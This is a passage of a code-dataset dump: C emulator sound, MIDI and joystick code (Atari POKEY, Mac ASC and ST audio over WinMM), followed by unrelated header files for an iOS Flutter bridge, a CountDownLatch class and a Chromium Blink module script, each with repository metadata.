//int bRight = 0; // figure out each voice for this sample for (int voice = 0; voice < 4; voice++) { // Not in focus, or this voice is silent and won't contribute if (!vi.fHaveFocus || ((rgvoice[voice].distortion & 0x01) == 0 && (/* rgvoice[voice].frequency == 0 || */ rgvoice[voice].volume == 0))) continue; // apply distortion on the edge transition (only relevant for non-volume only) if ((rgvoice[voice].distortion & 0x01) == 0 && pulse[voice].pos == 0) { // How many times would the poly counters have clocked since the last pulse width? We need the accuracy of // using the freq of the note * 10, not the pulse width, which is only rounded to the nearest 1/2 integer int r = pCLK100 / freq[voice]; // poly5's cycle is 31 if (!(rgvoice[voice].distortion & 8)) // only if it's being used { poly5pos[voice] = (poly5pos[voice] + r) % 0x1f; } // when bit 7 of AUDCx is off (distortion bit 3), that pulse is gated by the low bit of the 5-bit poly // ie. only allow the following poly counters/pure tone to do their thing if // poly5 is inactive or if active, if poly5 is currently high. Otherwise keep the same amplitude as the last pulse. BOOL fAllow = (rgvoice[voice].distortion & 8) || (poly5[poly5pos[voice]] & 1); // !!! poly 5 combined with 4 sounds wrong! (Distortion 4) Why? //bit 5 chooses whether to use another counter (the 17/9 or 4-bit counter) if ((rgvoice[voice].distortion & 2) == 0) { //bit 6 chooses between 17/9-bit and 4-bit counter if ((rgvoice[voice].distortion & 4) == 0) { // AUDCTL bit 7 chooses 9 or 17 if ((sAUDCTL & 0x80) && fAllow) { poly9pos[voice] = (poly9pos[voice] + r) % 0x1ff; pulse[voice].phase = (poly9[poly9pos[voice]] & 1); } if (!(sAUDCTL & 0x80) && fAllow) { poly17pos[voice] = (poly17pos[voice] + r) % 0x1fff; pulse[voice].phase = (poly17[poly17pos[voice]] & 1); } } else if (fAllow) { poly4pos[voice] = (poly4pos[voice] + r) % 0xf; pulse[voice].phase = (poly4[poly4pos[voice]] & 1); } } // pure tones invert the phase every pulse width else if (fAllow) { pulse[voice].phase = !pulse[voice].phase; } } // !!! support high pass filter // volume only if (rgvoice[voice].distortion & 1) { //bLeft += ((65535 * (int)rgvoice[voice].volume / 15) - 32768); bLeft += ((rgvoice[voice].volume << 12) - 32768); // much faster pulse[voice].pos = 0; // start a new pulse from the beginning when we're done with volume only // output the correct sample given what part of the pulse we're in, or if we're skipping the positive section } else { bLeft += ((pulse[voice].phase ? 32768 : -32768) * (int)rgvoice[voice].volume >> 4); pulse[voice].pos++; // may be strictly bigger if the note changed on us if (pulse[voice].pos >= pulse[voice].width[pulse[voice].wi & 1]) { // the next pulse may have a different width than this one if we're alternating 17,16,17,16 to simulate 16.5 pulse[voice].pos = 0; pulse[voice].wi = (~pulse[voice].wi) & 1; } } } // If the internal speaker is popped, mix it in at 1/2 of full volume // (!!! That could clip, but it seems OK and is a good balance with the other sounds) bLeft = (bLeft >> 2) | (((sCONSOL & 8) ^ 8) << 10); // we won't let 4 full voices clip, unlike the real POKEY //ODS("bLeft = %02x\n", bLeft); //bRight = bLeft; // mono for now *((WORD *)pb) = (bLeft & 0xffff); pb += 2; //*pb++ = (char)(bRight & 0xff); //*pb++ = (char)((bRight >> 8) & 0xff); } // for each sample in the buffer SaveAud: // next time we write audio, we'll use the new values that just got set (and triggered us being called) sAUDCTL = AUDCTL; sCONSOL = wCONSOL; rgvoice[0].frequency = AUDF1; rgvoice[1].frequency = AUDF2; rgvoice[2].frequency = AUDF3; rgvoice[3].frequency = AUDF4; rgvoice[0].volume = AUDC1 & 0x0f; rgvoice[1].volume = AUDC2 & 0x0f; rgvoice[2].volume = AUDC3 & 0x0f; rgvoice[3].volume = AUDC4 & 0x0f; rgvoice[0].distortion = AUDC1 >> 4; rgvoice[1].distortion = AUDC2 >> 4; rgvoice[2].distortion = AUDC3 >> 4; rgvoice[3].distortion = AUDC4 >> 4; } else { memset((PBYTE)pb, 0x00, (iCurSample - sOldSample) * 2); // 16 bit signed MONO silence for this portion } sOldSample = iCurSample; // next time start writing here #if 0 int bL; // create some pure sound to test for audio glitches with known good data in the buffers, assumes 800 samples for (int z1 = 0; z1 < 20; z1++) { for (int z2 = 0; z2 < 20; z2++) { bL = 32767; *pb++ = (char)(bL & 0xff); *pb++ = (char)((bL >> 8) & 0xff); //*pb++ = (char)(bL & 0xff); //*pb++ = (char)((bL >> 8) & 0xff); } for (int z2 = 0; z2 < 20; z2++) { bL = -32768; *pb++ = (char)(bL & 0xff); *pb++ = (char)((bL >> 8) & 0xff); //*pb++ = (char)(bL & 0xff); //*pb++ = (char)((bL >> 8) & 0xff); } } #endif // #if !defined(_M_ARM) // we have now filled the buffer if (iCurSample == SAMPLES_PER_VOICE) { pwhdr[sCurBuf].dwFlags &= ~WHDR_DONE; waveOutWrite(hWave, &pwhdr[sCurBuf], sizeof(WAVEHDR)); //ODS("Write (%d) %08x @ %llu\n", sCurBuf, &pwhdr[sCurBuf], GetJiffies()); #if 0 unsigned char *bb = pwhdr[sCurBuf].lpData; for (int zz = 0; zz < 800; zz++) { fprintf(fp, "%02x%02x ", bb[zz * 4 + 1], bb[zz * 4]); if (!((zz + 1) % 20)) fprintf(fp, "\n"); } fprintf(fp, "\n"); #endif sCurBuf = -1; // need to find a new buffer to write to next time } // #endif #endif // #ifdef XFORMER } // 16 bit ATARI ST Code else { #ifdef ATARIST signed char *pb; int voice; int iHdr; // ATARI 16 bit code must call us once per frame with this value assert(iCurSample == SAMPLES_PER_VOICE); for (iHdr = 0; iHdr < SNDBUFS; iHdr++) { pwhdr = &vi.rgwhdr[iHdr]; if (vi.rgwhdr[iHdr].dwFlags & WHDR_DONE) break; } if (iHdr == SNDBUFS) return; #if 0 DebugStr("%09d ", GetTickCount()); DebugStr("SoundDoneCallback: pwhdr = %08X, hdr # = %d\n", pwhdr, pwhdr - vi.rgwhdr); #endif pwhdr->dwFlags &= ~WHDR_DONE; #if 0 pwhdr->dwLoops = 99; pwhdr->dwFlags = WHDR_BEGINLOOP | WHDR_ENDLOOP; #endif #if 0 waveOutWrite(hWave, pwhdr, sizeof(WAVEHDR)); #endif pb = pwhdr->lpData; #ifdef SOFTMAC if (vmCur.fSound && FIsMac(vmCur.bfHW)) { int cs; int i; int ii; if (vmachw.rgvia[0].vBufB & 0x80) if (vmCur.bfHW < vmMacII) { // Mac sound disabled (VIA regB bit 7 only used on Plus/SE) goto Lnosound; } if (vmCur.bfHW == vmMacSE) ii = vi.cbRAM[0] - 0x300; else ii = vi.cbRAM[0] - ((vmachw.rgvia[0].vBufA & 0x08) ? 0x300 : 0x5F00); if (vmCur.bfHW >= vmMacII) { cs = 7 - ((vmachw.asc.bVol >> 2) & 7); // cs = 2; // HACK! fake the startup sound if (vmachw.iSndStart) { cs = 1; for (i = 0; i < 512; i++) { pb[0] = PeekB(vi.eaROM[0] + vmachw.iSndStart); pb[1] = PeekB(vi.eaROM[0] + vmachw.iSndStart); pb += vi.woc.wChannels; vmachw.iSndStart++; vmachw.cSndStart--; if (vmachw.cSndStart == 0) { vmachw.iSndStart = 0; break; } } for (; i < 512; i++) { pb[0] = 0x80; pb[1] = 0x80; pb += vi.woc.wChannels; } } else if (vmachw.asc.bMode == 2) { signed char b0 = 0, b1 = 0, b2 = 0, b3 = 0; // printf("in synth code!\n"); for (i = 0; i < 512; i++) { if (vmachw.asc.lFreq0) { b0 = vmachw.asc.rgb0[(vmachw.asc.lDisp0 >> 16) & 511] ^ 0x80; vmachw.asc.lDisp0 += vmachw.asc.lFreq0 * 2; } if (vmachw.asc.lFreq1) { b1 = vmachw.asc.rgb1[(vmachw.asc.lDisp1 >> 16) & 511] ^ 0x80; vmachw.asc.lDisp1 += vmachw.asc.lFreq1 * 2; } if (vmachw.asc.lFreq2) { b2 = vmachw.asc.rgb2[(vmachw.asc.lDisp2 >> 16) & 511] ^ 0x80; vmachw.asc.lDisp2 += vmachw.asc.lFreq2 * 2; } if (vmachw.asc.lFreq3) { b3 = vmachw.asc.rgb3[(vmachw.asc.lDisp3 >> 16) & 511] ^ 0x80; vmachw.asc.lDisp3 += vmachw.asc.lFreq3 * 2; } #if 0 if (i < 4) printf("b0 b1 b2 b3 = %d %d %d %d\n", b0, b1, b2, b3); #endif pb[0] = 0x80 + (b0 >> cs) + (b2 >> cs); pb[1] = 0x80 + (b1 >> cs) + (b3 >> cs); pb += vi.woc.wChannels; } } else if (vmachw.asc.bMode != 1) goto Lnosound; else { for (i = 0; i < 512; i++) { char bLeft = vmachw.rgbASC[i] ^ 0x80; char bRight = vmachw.rgbASC[1024 + i] ^ 0x80; #if 0 if (i < 4) printf("bL bR = %d %d\n", bLeft, bRight); #endif pb[0] = 0x80 + (bLeft >> cs); pb[1] = 0x80 + (bRight >> cs); pb += vi.woc.wChannels; } vmachw.asc.bStat = 5; // empty if (vmachw.V2Base) vmachw.rgvia[1].vIFR |= 0x10; else vmachw.rgvia[1].vIFR |= 0x10; } #if 0 printf("CHAN 0: %02X %02X %02X %02X ", (BYTE)vmachw.rgbASC[0], (BYTE)vmachw.rgbASC[1], (BYTE)vmachw.rgbASC[2], (BYTE)vmachw.rgbASC[3]); printf("CHAN 1: %02X %02X %02X %02X ", (BYTE)vmachw.rgbASC[0x400], (BYTE)vmachw.rgbASC[0x401], (BYTE)vmachw.rgbASC[0x402], (BYTE)vmachw.rgbASC[0x403]); printf("CHAN 2: %02X %02X %02X %02X ", (BYTE)vmachw.rgbASC[0x800], (BYTE)vmachw.rgbASC[0x801], (BYTE)vmachw.rgbASC[0x802], (BYTE)vmachw.rgbASC[0x803]); printf("CHAN 3: %02X %02X %02X %02X\n", (BYTE)vmachw.rgbASC[0xC00], (BYTE)vmachw.rgbASC[0xC01], (BYTE)vmachw.rgbASC[0xC02], (BYTE)vmachw.rgbASC[0xC03]); #endif #if 0 printf("TYPE = %02X\n", *(BYTE *)&vmachw.rgbASC[0x800]); printf("MODE = %02X\n", *(BYTE *)&vmachw.rgbASC[0x801]); printf("CHNL = %02X\n", *(BYTE *)&vmachw.rgbASC[0x802]); printf("RST = %02X\n", *(BYTE *)&vmachw.rgbASC[0x803]); printf("STAT = %02X\n", *(BYTE *)&vmachw.rgbASC[0x804]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x805]); printf("VOL = %02X\n", *(BYTE *)&vmachw.rgbASC[0x806]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x807]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x808]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x809]); printf("DIR = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80A]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80B]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80C]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80D]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80E]); printf("???? = %02X\n", *(BYTE *)&vmachw.rgbASC[0x80F]); #endif #if 0 printf("DISP0= %08X\n", *(LONG *)&vmachw.rgbASC[0x810]); printf("FREQ0= %08X\n", *(LONG *)&vmachw.rgbASC[0x814]); printf("DISP1= %08X\n", *(LONG *)&vmachw.rgbASC[0x818]); printf("FREQ1= %08X\n", *(LONG *)&vmachw.rgbASC[0x81C]); printf("DISP2= %08X\n", *(LONG *)&vmachw.rgbASC[0x820]); printf("FREQ2= %08X\n", *(LONG *)&vmachw.rgbASC[0x824]); printf("DISP3= %08X\n", *(LONG *)&vmachw.rgbASC[0x828]); printf("FREQ3= %08X\n", *(LONG *)&vmachw.rgbASC[0x82C]); printf("RMASK= %08X\n", *(LONG *)&vmachw.rgbASC[0x830]); printf("LMASK= %08X\n", *(LONG *)&vmachw.rgbASC[0x834]); #endif } else for (i = 0; i < 370; i++) { char bLeft = PeekB(ii + (i << 1)) + 128; char bRight = bLeft; cs = 7 - (vmachw.rgvia[0].vBufA & 7); #if 0 * pb++ = 128 + (bLeft >> cs); *pb++ = 128 + (bRight >> cs); #else pb[0] = 128 + (bLeft >> cs); pb[1] = 128 + (bRight >> cs); pb += 2; #endif } } else #endif // SOFTMAC if (vmCur.fSound) { int i; for (i = 0; i < SAMPLES_PER_VOICE; i++) { int bLeft = 0; int bRight = 0; static int poly4, poly5, poly9, poly17; for (voice = 0; voice < 4; rgvoice[voice].phase += rgvoice[voice].frequency, voice++) { if (rgvoice[voice].frequency == 0) continue; if (rgvoice[voice].volume < 2) continue; if (rgvoice[voice].distortion & 1) { // output = DC volume level // Do nothing for now continue; } Assert(rgvoice[voice].volume <= 15); if ((rgvoice[voice].distortion == 10) || (rgvoice[voice].distortion == 14)) { // pure tone if (FIsAtari68K(vmCur.bfHW)) { // sine wave bLeft += (int)(SineOfPhase(rgvoice[voice].phase) * (int)rgvoice[voice].volume) / 15; continue; } else { // square wave // bLeft += (int)(SqrOfPhase(rgvoice[voice].phase) * (int)rgvoice[voice].volume) / 15; } //continue; } // POKEY noise (AUDCTL already shifted down 4 into distortion value // // The way sound works is in 4 steps: // // 1 - the divide by N counter produces a pulse which for // pure tones clocks a flip flop to make a square wave bLeft += (int)(SqrOfPhase(rgvoice[voice].phase) * rgvoice[voice].volume) / 15; #if 0 if (voice == 0) printf("%d %d\n", (int)(SqrOfPhase(rgvoice[voice].phase) * rgvoice[voice].volume) / 15, bLeft); #endif if (SqrOfPhase(rgvoice[voice].phase) >= SqrOfPhase(rgvoice[voice].phase + rgvoice[voice].frequency)) { // N counter didn't count down, so no new pulse continue; } #if 0 printf("poly4 = %02X, poly5 = %02X, poly9 = %03X, poly17 = %05X\n", poly4, poly5, poly9, poly17); #endif // 2 - when bit 7 is on, that pulse is gated by the low // bit of the 5-bit poly. No pulse, no change of output // which we fake by reversing the phase if (((rgvoice[voice].distortion & 8) == 0) && ((poly5 & 1) == 0)) { rgvoice[voice].phase ^= (1 << 22); continue; } // - bit 5 chooses whether to feed the 17/4-bit counter if (rgvoice[voice].distortion & 2) continue; // - bit 6 chooses between 17-bit and 4-bit counter rgvoice[voice].phase = (rgvoice[voice].phase & ~(1 << 22)) | (((rgvoice[voice].distortion & 4) ? poly4 : poly17) & 1) << 22; } #if 0 if ((pb >= vi.whdr2.lpData) && (pb <= vi.whdr2.lpData + SAMPLES_PER_VOICE * 2)) bLeft /= 2; #endif bLeft /= 4; //bRight = bLeft; // mono for now *pb++ = 128 + bLeft; *pb++ = 128 + bRight; #if 1 // Whitewater sound buffer vi.pbAudioBuf[i] = bLeft; #endif } } else { Lnosound: memset(pb, 0x80, SAMPLES_PER_VOICE * 2); } #if defined(ATARIST) if (/* v.fSTE && vmCur.fSTESound */ 0) // STE sound not supported right now { pb = pwhdr->lpData; if (vsthw.rgbSTESound[0x01] & 1) { // play a stereo sound ULONG base = (vsthw.rgbSTESound[0x03] << 16) | (vsthw.rgbSTESound[0x05] << 8) | (vsthw.rgbSTESound[0x07]); ULONG cntr = (vsthw.rgbSTESound[0x09] << 16) | (vsthw.rgbSTESound[0x0B] << 8) | (vsthw.rgbSTESound[0x0D]); ULONG end = (vsthw.rgbSTESound[0x0F] << 16) | (vsthw.rgbSTESound[0x11] << 8) | (vsthw.rgbSTESound[0x13]); BOOL fStereo = (vsthw.rgbSTESound[0x20] & 0x80) == 0; int i; // how many 44 Khz samples we make out of one STE sample int step = 8 >> (vsthw.rgbSTESound[0x20] & 0x03); if ((cntr >= end) || (cntr == 0)) cntr = base; for (i = 0; i < SAMPLES_PER_VOICE; i += step) { int bLeft = PeekB(cntr) ^ 0x80; int bRight; int j; if (fStereo) { bRight = PeekB(cntr + 1) ^ 0x80; cntr += 2; } else { bRight = bLeft; cntr++; } for (j = 0; j < step; j++) { *pb++ = (*pb + bLeft) / 2; *pb++ = (*pb + bRight) / 2; } if (cntr >= end) { cntr = base; if ((vsthw.rgbSTESound[0x01] & 2) == 0) { // not repeating, stop playback vsthw.rgbSTESound[0x01] = 0; cntr = 0; } } } // for i // update counter vsthw.rgbSTESound[0x09] = (BYTE)(cntr >> 16); vsthw.rgbSTESound[0x0B] = (BYTE)(cntr >> 8); vsthw.rgbSTESound[0x0D] = (BYTE)(cntr); } // if stereo } // if ste sound #endif // ATARIST #if 0 DebugStr("%09d ", GetTickCount()); DebugStr("Calling waveOutWrite: pwhdr = %08X, hdr # = %d\n", pwhdr, pwhdr - vi.rgwhdr); #endif // #if !defined(_M_ARM) waveOutWrite(hWave, pwhdr, sizeof(WAVEHDR)); // #endif #endif// ATARIST } } void UninitSound() { // #if !defined(_M_ARM) if (hWave) { int iHdr; waveOutReset(hWave); for (iHdr = 0; iHdr < SNDBUFS; iHdr++) { waveOutUnprepareHeader(hWave, &vi.rgwhdrN[iHdr], sizeof(WAVEHDR)); waveOutUnprepareHeader(hWave, &vi.rgwhdrP[iHdr], sizeof(WAVEHDR)); } waveOutClose(hWave); //fclose(fp); } // #endif hWave = NULL; vi.fWaveOutput = FALSE; } // void InitSound() { WAVEOUTCAPS woc; int i, iMac = 0; UninitSound(); // figure out a real way to turn sound on/off if you want to, probably not per-vm? // #if !defined(_M_ARM) iMac = waveOutGetNumDevs(); for (i = 0; i < iMac; i++) { //DebugStr("querying output device %d\n", i); if (!waveOutGetDevCaps(i, &woc, sizeof(woc))) { // !!! surely everybody supports 48K Stereo 16bit these days // I count on that much resolution to make the pitches accurate if (woc.dwFormats & WAVE_FORMAT_48M16) { if (!vi.fWaveOutput) { vi.fWaveOutput = TRUE; vi.iWaveOutput = i; vi.woc = woc; } } } } if (vi.fWaveOutput) { //printf("Selected wave device #%d\n", vi.iWaveOutput); } else { return; } if ((vi.woc.wChannels != 1)) vi.woc.wChannels = 1; // don't use any fancy surround sound or multi-channel pcmwf.wFormatTag = WAVE_FORMAT_PCM; pcmwf.nChannels = vi.woc.wChannels; pcmwf.nSamplesPerSec = SAMPLE_RATE; pcmwf.wBitsPerSample = 16; pcmwf.nAvgBytesPerSec = SAMPLE_RATE * vi.woc.wChannels * pcmwf.wBitsPerSample / 8; pcmwf.nBlockAlign = vi.woc.wChannels * pcmwf.wBitsPerSample / 8; pcmwf.cbSize = 0; if (!waveOutOpen(&hWave, vi.iWaveOutput, &pcmwf, (DWORD_PTR)MyWaveOutProc, 0, CALLBACK_FUNCTION)) { int iHdr; #ifndef NDEBUG //printf("opened wave device, handle = %08x\n", hWave); //printf("Device name %s %d %08X\n", vi.woc.szPname, vi.woc.wChannels, vi.woc.dwFormats); #endif for (iHdr = 0; iHdr < SNDBUFS; iHdr++) { vi.rgwhdrN[iHdr].lpData = vi.rgbSndBufN[iHdr]; vi.rgwhdrN[iHdr].dwBufferLength = SAMPLES_NTSC * vi.woc.wChannels * pcmwf.wBitsPerSample / 8; vi.rgwhdrN[iHdr].dwBytesRecorded = 0; vi.rgwhdrN[iHdr].dwFlags = 0; vi.rgwhdrN[iHdr].dwLoops = 0; vi.rgwhdrP[iHdr].lpData = vi.rgbSndBufN[iHdr]; vi.rgwhdrP[iHdr].dwBufferLength = SAMPLES_PAL * vi.woc.wChannels * pcmwf.wBitsPerSample / 8; vi.rgwhdrP[iHdr].dwBytesRecorded = 0; vi.rgwhdrP[iHdr].dwFlags = 0; vi.rgwhdrP[iHdr].dwLoops = 0; // !!! no error checking, what would I do? waveOutPrepareHeader(hWave, &vi.rgwhdrN[iHdr], sizeof(WAVEHDR)); waveOutPrepareHeader(hWave, &vi.rgwhdrP[iHdr], sizeof(WAVEHDR)); if (iHdr < 2) { // we only go into 50fps for a solo PAL VM if (!v.fTiling && v.iVM >= 0 && rgpvm[v.iVM]->fEmuPAL) waveOutWrite(hWave, &vi.rgwhdrP[iHdr], sizeof(WAVEHDR)); // start with 2 buffers of silence to prevent glitching else waveOutWrite(hWave, &vi.rgwhdrN[iHdr], sizeof(WAVEHDR)); // start with 2 buffers of silence to prevent glitching } else { vi.rgwhdrN[iHdr].dwFlags |= WHDR_DONE; // OK to use these now vi.rgwhdrP[iHdr].dwFlags |= WHDR_DONE; // OK to use these now } } } //fp = fopen("waveout.txt", "wt"); // #endif } // do we really want to allow each VM to independently decide to do MIDI or not? void InitMIDI(void *candy) { MIDIINCAPS mic; MIDIOUTCAPS moc; int i, iMac = 0; if (!pvm->fMIDI) return; // #if !defined(_M_ARM) iMac = midiOutGetNumDevs(); //DebugStr("number of MIDI output devices = %d\n", iMac); if (iMac == 0) pvm->fMIDI = FALSE; for (i = 0; i < iMac; i++) { //DebugStr("querying output device %d\n", i); if (!midiOutGetDevCaps(i, &moc, sizeof(moc))) { //DebugStr("Device responded!\n"); } } iMac = midiInGetNumDevs(); //DebugStr("number of MIDI input devices = %d\n", iMac); if (iMac == 0) pvm->fMIDI = FALSE; for (i = 0; i < iMac; i++) { //DebugStr("querying input device %d\n", i); if (!midiInGetDevCaps(i, &mic, sizeof(mic))) { //DebugStr("Device responded!\n"); } } // #endif } // Do not call when a joystick might be moved, or we'll think it's a paddle. (For instance, when a VM reboots itself while // you're playing a game in another tile, or during going back in time) void InitJoysticks() { // #if !defined(_M_ARM) int i, j = 0, nj; MMRESULT mm; JOYCAPS jc; //ReleaseJoysticks(); // On some machines I must do this for Windows to notice somebody swapped joysticks joyConfigChanged(0); if ((nj = joyGetNumDevs()) == 0) return; // 16 seems to be common, and the 2nd and subsequent joysticks might be a sparse matrix so check them all nj = min(nj, NUM_JOYDEVS); memset((PBYTE)&vi.rgji, 0, sizeof(vi.rgji)); for (i = 0; i < nj; i++) { vi.rgji[i].dwSize = sizeof(JOYINFOEX); vi.rgji[i].dwFlags = JOY_RETURNBUTTONS | JOY_RETURNX | JOY_RETURNY; mm = joyGetPosEx(JOYSTICKID1 + i, &vi.rgji[i]); if (!mm) { mm = joyGetDevCaps(JOYSTICKID1 + i, &jc, sizeof(JOYCAPS)); if (!mm && jc.wNumButtons > 0) { assert(jc.wXmax && jc.wYmax); // or we /0 // Clever auto-detect joystick or paddle, because if you get it wrong, you confuse apps populating both registers. // if the initial X & Y positions are exactly centered, it's a joystick // if one of them is off centre, it's a paddle. There's no way both paddles are exactly in the middle // !!! This assumes the joystick self-centres,and don't push your joystick while warmstarting! // If it's confused, just warmstart again with the joystick centred. // A driving controller will be detected later after we see the values it returns, but if it's sending the unique // driving controller value right now, we'll know now. JOYINFO ji; Sleep(1); // believe it or not, if we call it too soon, we get a default centred position that always looks like a joystick mm = joyGetPos(JOYSTICKID1 + i, &ji); ULONG ux = abs((jc.wXmax - jc.wXmin) / 2 - (ji.wXpos - jc.wXmin)); ULONG uy = abs((jc.wYmax - jc.wYmin) / 2 - (ji.wYpos - jc.wYmin)); ULONG uz = abs((jc.wYmax - jc.wYmin) * 3 / 4 - (ji.wYpos - jc.wYmin)); // only driving controller reports $bfef or so if (ux < 0x20 && uy < 0x20) vi.rgjt[j] = JT_JOYSTICK | JT_DRIVING; // x & y centred? it's one of these 2 else if (ux < 0x20 && (uz < 0x20 || (jc.wYmax - ji.wYpos) < 0x20 || (ji.wYpos - jc.wYmin) < 0x20)) vi.rgjt[j] = JT_DRIVING; // x centred, y is special value, up or down? Driving controller else vi.rgjt[j] = JT_PADDLE; //ODS("Joy device = %d\n", vi.rgjt[j]); vi.rgjc[j] = jc; // joy caps vi.rgjn[j++] = i; // which joystick ID this is } } } vi.njc = j; // this is how many actual joysticks are plugged in, and we compacted the array of them // no joysticks right now, try again later! They'll be hot pluggable! vi.fJoyNeedsInit = (j == 0) ? 5 : 0; // try every 5 seconds // #endif } #if 0 // globals, each warm and cold start will glitch the other VMs // void CaptureJoysticks() { // #if !defined(_M_ARM) int i; MMRESULT mm; // find a way to disable joystick if they want? (probably not per-VM)? if (joyGetNumDevs() == 0) return; for (i = 0; i < vi.njc; i++) { mm = joySetThreshold(JOYSTICKID1 + vi.rgjn[i], (vi.rgjc[i].wXmax - vi.rgjc[i].wXmin) / 8); //mm = joySetCapture(vi.hWnd, JOYSTICKID1+i, 100, TRUE); // doesn't work, so we just poll } // #endif } void ReleaseJoysticks() { // #if !defined(_M_ARM) for (int z = 0; z < NUM_JOYDEVS; z++) //joyReleaseCapture(JOYSTICKID1 + z) ; // #endif } #endif
38.66184
154
0.455749
88695c793e8796623048f8b48cbd257d5458d1fd
81
h
C
ios/Runner/Runner-Bridging-Header.h
Phantomxm2021/ARMOD-FlutterAppDemo
20d85b7994d4cec4392b5f8af93732f05515c875
[ "Apache-2.0" ]
4
2021-09-14T06:12:56.000Z
2022-01-26T11:11:28.000Z
ios/Runner/Runner-Bridging-Header.h
Phantomxm2021/ARMOD-FlutterAppDemo
20d85b7994d4cec4392b5f8af93732f05515c875
[ "Apache-2.0" ]
1
2022-02-14T07:31:55.000Z
2022-03-03T16:24:47.000Z
ios/Runner/Runner-Bridging-Header.h
Phantomxm2021/ARMOD-FlutterAppDemo
20d85b7994d4cec4392b5f8af93732f05515c875
[ "Apache-2.0" ]
null
null
null
#import "GeneratedPluginRegistrant.h" #import <UnityFramework/NativeCallProxy.h>
27
42
0.839506
0044a086f146d6ba38268059b939e6bd5e7fcb64
597
h
C
chtho/threads/CountDownLatch.h
WineChord/chtho
f43c56a1c2faf83e5f48361ca1b06366ce061aab
[ "MIT" ]
null
null
null
chtho/threads/CountDownLatch.h
WineChord/chtho
f43c56a1c2faf83e5f48361ca1b06366ce061aab
[ "MIT" ]
null
null
null
chtho/threads/CountDownLatch.h
WineChord/chtho
f43c56a1c2faf83e5f48361ca1b06366ce061aab
[ "MIT" ]
null
null
null
// Copyright (c) 2021 Qizhou Guo // // This software is released under the MIT License. // https://opensource.org/licenses/MIT #ifndef CHTHO_THREADS_COUNTDOWNLATCH_H #define CHTHO_THREADS_COUNTDOWNLATCH_H #include "base/noncopyable.h" #include "threads/Condition.h" #include "threads/MutexLock.h" namespace chtho { class CountDownLatch : noncopyable { private: mutable MutexLock mutex_; Condition cond_; int count_; public: explicit CountDownLatch(int count); void wait(); void countDown(); int getCnt() const; }; } // namespace chtho #endif // !CHTHO_THREADS_COUNTDOWNLATCH_H
19.258065
51
0.755444
184fe69619de42b84983ddba6eff205ed98ed1d1
3,212
h
C
webrtc_headers/third_party/blink/renderer/core/script/value_wrapper_synthetic_module_script.h
ESWIN-DC/webrtc-jetson
12ec9efbd7d47e4d888b276ef722f9e1b32087f3
[ "Unlicense" ]
null
null
null
webrtc_headers/third_party/blink/renderer/core/script/value_wrapper_synthetic_module_script.h
ESWIN-DC/webrtc-jetson
12ec9efbd7d47e4d888b276ef722f9e1b32087f3
[ "Unlicense" ]
null
null
null
webrtc_headers/third_party/blink/renderer/core/script/value_wrapper_synthetic_module_script.h
ESWIN-DC/webrtc-jetson
12ec9efbd7d47e4d888b276ef722f9e1b32087f3
[ "Unlicense" ]
2
2021-01-05T23:43:46.000Z
2021-01-07T23:36:34.000Z
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef THIRD_PARTY_BLINK_RENDERER_CORE_SCRIPT_VALUE_WRAPPER_SYNTHETIC_MODULE_SCRIPT_H_ #define THIRD_PARTY_BLINK_RENDERER_CORE_SCRIPT_VALUE_WRAPPER_SYNTHETIC_MODULE_SCRIPT_H_ #include "third_party/blink/renderer/core/core_export.h" #include "third_party/blink/renderer/core/script/module_script.h" namespace WTF { class TextPosition; } // namespace WTF namespace blink { class KURL; class Modulator; class ModuleScriptCreationParams; // ValueWrapperSyntheticModuleScript is a module script // (https://html.spec.whatwg.org/C/#module-script) that default-exports a single // v8::Value, for example JSON Module Script: // https://html.spec.whatwg.org/multipage/webappapis.html#json-module-script class CORE_EXPORT ValueWrapperSyntheticModuleScript final : public ModuleScript { public: static ValueWrapperSyntheticModuleScript* CreateCSSWrapperSyntheticModuleScript( const base::Optional<ModuleScriptCreationParams>& params, Modulator* settings_object); static ValueWrapperSyntheticModuleScript* CreateJSONWrapperSyntheticModuleScript( const base::Optional<ModuleScriptCreationParams>& params, Modulator* settings_object); static ValueWrapperSyntheticModuleScript* CreateWithDefaultExport( v8::Local<v8::Value> value, Modulator* settings_object, const KURL& source_url, const KURL& base_url, const ScriptFetchOptions& fetch_options, const TextPosition& start_position = TextPosition::MinimumPosition()); static ValueWrapperSyntheticModuleScript* CreateWithError( v8::Local<v8::Value> value, Modulator* settings_object, const KURL& source_url, const KURL& base_url, const ScriptFetchOptions& fetch_options, v8::Local<v8::Value> error, const TextPosition& start_position = TextPosition::MinimumPosition()); ValueWrapperSyntheticModuleScript(Modulator* settings_object, v8::Local<v8::Module> record, const KURL& source_url, const KURL& base_url, const ScriptFetchOptions& fetch_options, v8::Local<v8::Value> value, const TextPosition& start_position); // <specdef // href="https://heycam.github.io/webidl/#synthetic-module-record"> // An abstract operation that will be performed upon evaluation of the module, // taking the Synthetic Module Record as its sole argument. These will usually // set up the exported values, by using SetSyntheticModuleExport. They must // not modify [[ExportNames]]. They may return an abrupt completion. static v8::MaybeLocal<v8::Value> EvaluationSteps( v8::Local<v8::Context> context, v8::Local<v8::Module> module); void Trace(Visitor* visitor) const override; private: TraceWrapperV8Reference<v8::Value> export_value_; }; } // namespace blink #endif // THIRD_PARTY_BLINK_RENDERER_CORE_SCRIPT_VALUE_WRAPPER_SYNTHETIC_MODULE_SCRIPT_H_
39.654321
90
0.725093
f4cf9bf76c4483aec3b88652f6c0f8aaa153de70
2,840
c
C
lpdv1e/ch17/socket_raw-exp.c
yuweijun/books
5be0fec3adce236875fef0f9e1ed8d91ef4acbfe
[ "MIT" ]
1
2018-07-02T12:03:02.000Z
2018-07-02T12:03:02.000Z
lpdv1e/ch17/socket_raw-exp.c
yuweijun/books
5be0fec3adce236875fef0f9e1ed8d91ef4acbfe
[ "MIT" ]
null
null
null
lpdv1e/ch17/socket_raw-exp.c
yuweijun/books
5be0fec3adce236875fef0f9e1ed8d91ef4acbfe
[ "MIT" ]
null
null
null
